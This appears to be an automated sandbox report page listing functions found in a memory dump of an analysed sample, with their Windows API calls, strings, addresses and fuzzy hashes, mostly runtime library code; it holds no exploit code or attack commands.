Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: Te9$parse error$parse_error
API String ID: 118556049-3911243356
Opcode ID: cd491d59a42ad7085ded0d9962ea3466c12634c51bf9f925a583e7c6ee705a6a
Instruction ID: bf8c078a37e4d4eb794dc7884e02d694831f2710fe498cf62e4381bfc5a4259d
Opcode Fuzzy Hash: cd491d59a42ad7085ded0d9962ea3466c12634c51bf9f925a583e7c6ee705a6a
Instruction Fuzzy Hash: 75E1D271E102098FCB0ADFA8CC95BEDBBB5BF55300F14866DE406EB655EB34AA44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00363E2C Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 370COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0036453A

Strings

', xrefs: 0036423D
parse_error, xrefs: 003645EE
parse error, xrefs: 00364668
Te9, xrefs: 003647C6

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: '$Te9$parse error$parse_error
API String ID: 118556049-3974104043
Opcode ID: c30190316d3d1cf5bbb6468100f6d8439fcee8189602978484b9f1cdb8250b04
Instruction ID: 8077d3c17264f319d2d17430ae5cb7a4718654ec15d783c5f8d1d41248147fac
Opcode Fuzzy Hash: c30190316d3d1cf5bbb6468100f6d8439fcee8189602978484b9f1cdb8250b04
Instruction Fuzzy Hash: BFD10271D102088FDB0ADFA4CC95BEDBBB5FF15300F14866DE406AB696EB349A84CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0038D429 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,0038D73B,00000002,00000000,?,?,?,0038D73B,?,00000000), ref: 0038D4C2
GetLocaleInfoW.KERNEL32(00000000,20001004,0038D73B,00000002,00000000,?,?,?,0038D73B,?,00000000), ref: 0038D4EB
GetACP.KERNEL32(?,?,0038D73B,?,00000000), ref: 0038D500

Strings

OCP, xrefs: 0038D47D
ACP, xrefs: 0038D447

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 644296267cd01ca5c47327e0ef595ccc6e004346d5dc08771a6ddc55750a1e4e
Instruction ID: c74b9c4c11c3abd8040658105d682d79cf888bfc62646be8eed6e750aec1c238
Opcode Fuzzy Hash: 644296267cd01ca5c47327e0ef595ccc6e004346d5dc08771a6ddc55750a1e4e
Instruction Fuzzy Hash: 0E21B672600304ABDB33FF16D902AA773AAEB50B64B5784E4E90AD7195EB32ED41C350

Uniqueness

Uniqueness Score: -1.00%

Function 0038D605 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00386179: GetLastError.KERNEL32(00000000,?,00388639), ref: 0038617D
Part of subcall function 00386179: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0038621F

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0038D70D
IsValidCodePage.KERNEL32(00000000), ref: 0038D74B
IsValidLocale.KERNEL32(?,00000001), ref: 0038D75E
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0038D7A6
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0038D7C1

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 7aa7716298b577e2e602a53ad403f8d7254866cfacd38d864839d08b27cb1382
Instruction ID: 86f688963be221b8ac216958bd9dbf6d49ed4898748856e69e0c8324fc5e2fab
Opcode Fuzzy Hash: 7aa7716298b577e2e602a53ad403f8d7254866cfacd38d864839d08b27cb1382
Instruction Fuzzy Hash: B8516C71A00309ABDF12FFA5DC45AAA77B8AF08700F5545AAF914EB191E770D904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0038CC79 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 256COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00386179: GetLastError.KERNEL32(00000000,?,00388639), ref: 0038617D
Part of subcall function 00386179: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0038621F

GetACP.KERNEL32(?,?,?,?,?,?,00382EB1,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0038CD38
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00382EB1,?,?,?,00000055,?,-00000050,?,?), ref: 0038CD6F
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0038CED4

Strings

utf8, xrefs: 0038CE41

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 97cd6fe6e3940835a09c951c63a5ed3e479d2e3fdf65f2113ac0b5e497619a6a
Instruction ID: a73cc2c9e6d16c8a4fe92d911ce5947d588b738fa93f36e76736ef606ab0a75a
Opcode Fuzzy Hash: 97cd6fe6e3940835a09c951c63a5ed3e479d2e3fdf65f2113ac0b5e497619a6a
Instruction Fuzzy Hash: 1A71F571620306AADB27BB35CC42EB7B7A8EF05700F1154AAF506DB182EB70E9448771

Uniqueness

Uniqueness Score: -1.00%

Function 00375363 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0037536F
IsDebuggerPresent.KERNEL32 ref: 0037543B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0037545B
UnhandledExceptionFilter.KERNEL32(?), ref: 00375465

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 221485d903ef85c7460ca69f1be02310db1b41876c8639bdffe670fd721fb88b
Instruction ID: c6e38105391923a556cee51604d24a95867057b4ebb56833a1ce9825d0c96522
Opcode Fuzzy Hash: 221485d903ef85c7460ca69f1be02310db1b41876c8639bdffe670fd721fb88b
Instruction Fuzzy Hash: 0C312BB5D0531C9BDB21DFA4D98A7CCBBB8AF04305F1041DAE40DAB250EB755A84CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0038D0A0 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00386179: GetLastError.KERNEL32(00000000,?,00388639), ref: 0038617D
Part of subcall function 00386179: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0038621F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0038D0F4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0038D13E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0038D204

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 05d9674c30013848ede2897331945cc1c5c947a902fba3f941836671de3d928a
Instruction ID: 58d8433c373571b252fe355e4d12a48336ed16ef5f1006fb66a82ded28912cdf
Opcode Fuzzy Hash: 05d9674c30013848ede2897331945cc1c5c947a902fba3f941836671de3d928a
Instruction Fuzzy Hash: 8E616D7150030B9FDB6AEF24CC86BAAB7A8EF04300F1545AAED05DA9C9E774D985CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00380DCC Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00380EC4
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00380ECE
UnhandledExceptionFilter.KERNEL32(0037A655,?,?,?,?,?,00000000), ref: 00380EDB

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 2f21faa6e9af2090dacbd0ddeb2782a362a769f543cefde7241d15338cb82a0e
Instruction ID: 53005a647f0c0ceb384bd2a86bd6c5539f67ae9d8e967f368a7aaff5033b1c56
Opcode Fuzzy Hash: 2f21faa6e9af2090dacbd0ddeb2782a362a769f543cefde7241d15338cb82a0e
Instruction Fuzzy Hash: 653106749413189BCB62DF24DD89B8DBBB8BF08310F1042DAE41CA7250EB749F858F44

Uniqueness

Uniqueness Score: -1.00%

Function 00376125 Relevance: 3.0, APIs: 2, Instructions: 15timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,003758C4,0036F818,?,?,?,0036F818), ref: 0037613E
GetSystemTimeAsFileTime.KERNEL32(0036F818,?,?,003758C4,0036F818,?,?,?,0036F818), ref: 00376142

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 02c9b172606be1a8943cbaf732e0eb6a9b306b612f10698f8c852df91d5ea675
Instruction ID: 6684e6301a3bf363818b9afcda49485ad23318dc98ff217ce94a287f93d8d9bd
Opcode Fuzzy Hash: 02c9b172606be1a8943cbaf732e0eb6a9b306b612f10698f8c852df91d5ea675
Instruction Fuzzy Hash: 68D02236502538978E132B84EC1B4DD7F1CEA44F62B000013F90D83221CB625C80CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 003619F0 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

`':, xrefs: 00361BE9
null, xrefs: 00361B8B

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID: `':$null
API String ID: 0-721221276
Opcode ID: c0adeaa7e679a3679bc34072b0b20a4776ebdc1e41f7317e4e4b81f332dc0464
Instruction ID: ebf5cc2cb9e7b1c5dbc226ef3b02668196f7d81743cf4d962bae3cd6dce74cfe
Opcode Fuzzy Hash: c0adeaa7e679a3679bc34072b0b20a4776ebdc1e41f7317e4e4b81f332dc0464
Instruction Fuzzy Hash: D3517F30B405089BCB66EFA8D4527BDB3F5DB48310F04819EEC0F9FA82DB695E549785

Uniqueness

Uniqueness Score: -1.00%

Function 00368770 Relevance: 1.8, APIs: 1, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff0d522a6f133bc9199934d4daeddbe5df0a5973f64a4d671b88ad07d44cbba6
Instruction ID: a2ef4fd90852d589e100a2fcf38f72cf32fb5faa7755bca9772d5180d48bcfcf
Opcode Fuzzy Hash: ff0d522a6f133bc9199934d4daeddbe5df0a5973f64a4d671b88ad07d44cbba6
Instruction Fuzzy Hash: DFD17A706187868FC705CF28C490A6AFBF0BF99304F548A1EF986D7251EB31E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00367820 Relevance: 1.8, APIs: 1, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3f948393eee20e21903aebee207f46d055c9837d934603500b5b24bbbce203c
Instruction ID: 147ce8d3746f7e0ed83356a726efe448da2f316bed36986756f2e74c80a366bb
Opcode Fuzzy Hash: b3f948393eee20e21903aebee207f46d055c9837d934603500b5b24bbbce203c
Instruction Fuzzy Hash: 66D17B316187458FC709CF28C490A6AFBE0BF99304F448A2EF986D7351EB31E955CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00367C30 Relevance: 1.8, APIs: 1, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8770b712671c20177d005a1dc8890ad33a981f5954eb908072d93600e160e849
Instruction ID: b6b5f43fd2a1512e0276360334e0d952004c9e203cd58770c578b362d71b71dd
Opcode Fuzzy Hash: 8770b712671c20177d005a1dc8890ad33a981f5954eb908072d93600e160e849
Instruction Fuzzy Hash: F0D169306187868FC315CF28C450A6AF7F0BF99304F448A6EF986DB211EB71E955CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00368B80 Relevance: 1.8, APIs: 1, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6915b2739f48d16c264ec9ecf0865a17d6217eb1f6e47d358d97b2e5eb04990c
Instruction ID: eaa2f376fc5054ffd74f2c85fbb9c350bbfee4f36e6616fc40e5d70d9b585354
Opcode Fuzzy Hash: 6915b2739f48d16c264ec9ecf0865a17d6217eb1f6e47d358d97b2e5eb04990c
Instruction Fuzzy Hash: 81C18E706187468FC705CF28C490A6AFBE0BF99304F448A2EF986D7251EB31E955CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00368030 Relevance: 1.8, APIs: 1, Instructions: 300COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 003683C5

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 02099fefc077e42117626efb41768b7ae30dc75ed724de26d277f949d2fd5b7d
Instruction ID: e4220e4c25ab4ea8838820c70aa5df2e87c09364d26c90a49b00d0ee544a18b0
Opcode Fuzzy Hash: 02099fefc077e42117626efb41768b7ae30dc75ed724de26d277f949d2fd5b7d
Instruction Fuzzy Hash: B4C17C746187869FC705CF28C490A6AFBE0BF99300F548A1EF986C7315DB71E955CB82

Uniqueness

Uniqueness Score: -1.00%

Function 003683D0 Relevance: 1.8, APIs: 1, Instructions: 300COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00368765

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: f65168fc49a3e376791a45d2d44ec1d11ed4525fe851cfb37315e66642e3b2c0
Instruction ID: d96388e64af4d144048a65e95501122a6944b605e8212a0a8835b5d09e412920
Opcode Fuzzy Hash: f65168fc49a3e376791a45d2d44ec1d11ed4525fe851cfb37315e66642e3b2c0
Instruction Fuzzy Hash: C8C17B706187869FC306CF28C48066AFBE0BF99300F548A1EF986C7355EB31E955CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0038E9E7 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0038E9E2,?,?,00000008,?,?,003938D0,00000000), ref: 0038EC14

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: caaddf8c86fc02356a774ac707d45eac55274ee795d676ab57b9b59f23525b65
Instruction ID: 3a131b6097e81f7467339a362b47a1ab2dd7d9286b6e7330f58fa64d911bf166
Opcode Fuzzy Hash: caaddf8c86fc02356a774ac707d45eac55274ee795d676ab57b9b59f23525b65
Instruction Fuzzy Hash: 63B12C71510709DFD71ADF28C48AB657BE0FF45364F2A8698E89ACF2A1C335E991CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0036A720 Relevance: 1.8, Strings: 1, Instructions: 510COMMON

Download Yara Rule

Strings

@, xrefs: 0036AB6B

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 6db7c73ce08339aaa5700da7917c8cc34e2840ebc5b127ec01b7b7fc58230247
Instruction ID: 5aed134f91d1e3e1c72e1938d8d52c2be215dd8c062b0bbca5d85b26f547d4b9
Opcode Fuzzy Hash: 6db7c73ce08339aaa5700da7917c8cc34e2840ebc5b127ec01b7b7fc58230247
Instruction Fuzzy Hash: C802AF76D00118AFDF19DFA4DC819FEBBB5EF88314F0A8169F805BB252D6716D018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00374780 Relevance: 1.7, APIs: 1, Instructions: 185COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,?,?,?,00000000,811C9DC5,00000000), ref: 00374832

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: a2d00ad38e361adb7388db93bfd943bcf886d6dbb573726ace917efe083b9de2
Instruction ID: cff399b332db66311a58d595eec7d43d338df291623e6bb8caaccafb357106e4
Opcode Fuzzy Hash: a2d00ad38e361adb7388db93bfd943bcf886d6dbb573726ace917efe083b9de2
Instruction Fuzzy Hash: 1561B4729002189BDB25DB64DC8ABDDB3B4EF49310F1482D5E60DAB291EB75AAC4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0037517F Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00375195

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 809e59870bf93071235349f78b2105534dedfe1fd2e32656b3307af5c1abec9f
Instruction ID: 139fe0e919ea99fd4adbd9497714004ad1ee97b9a218c56824ba8ad7a00d991e
Opcode Fuzzy Hash: 809e59870bf93071235349f78b2105534dedfe1fd2e32656b3307af5c1abec9f
Instruction Fuzzy Hash: 1A516F71A01A058BEB2ACF65D8817AEB7F4FB49350F25C86AD409EB361D7B89940CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00389AFB Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

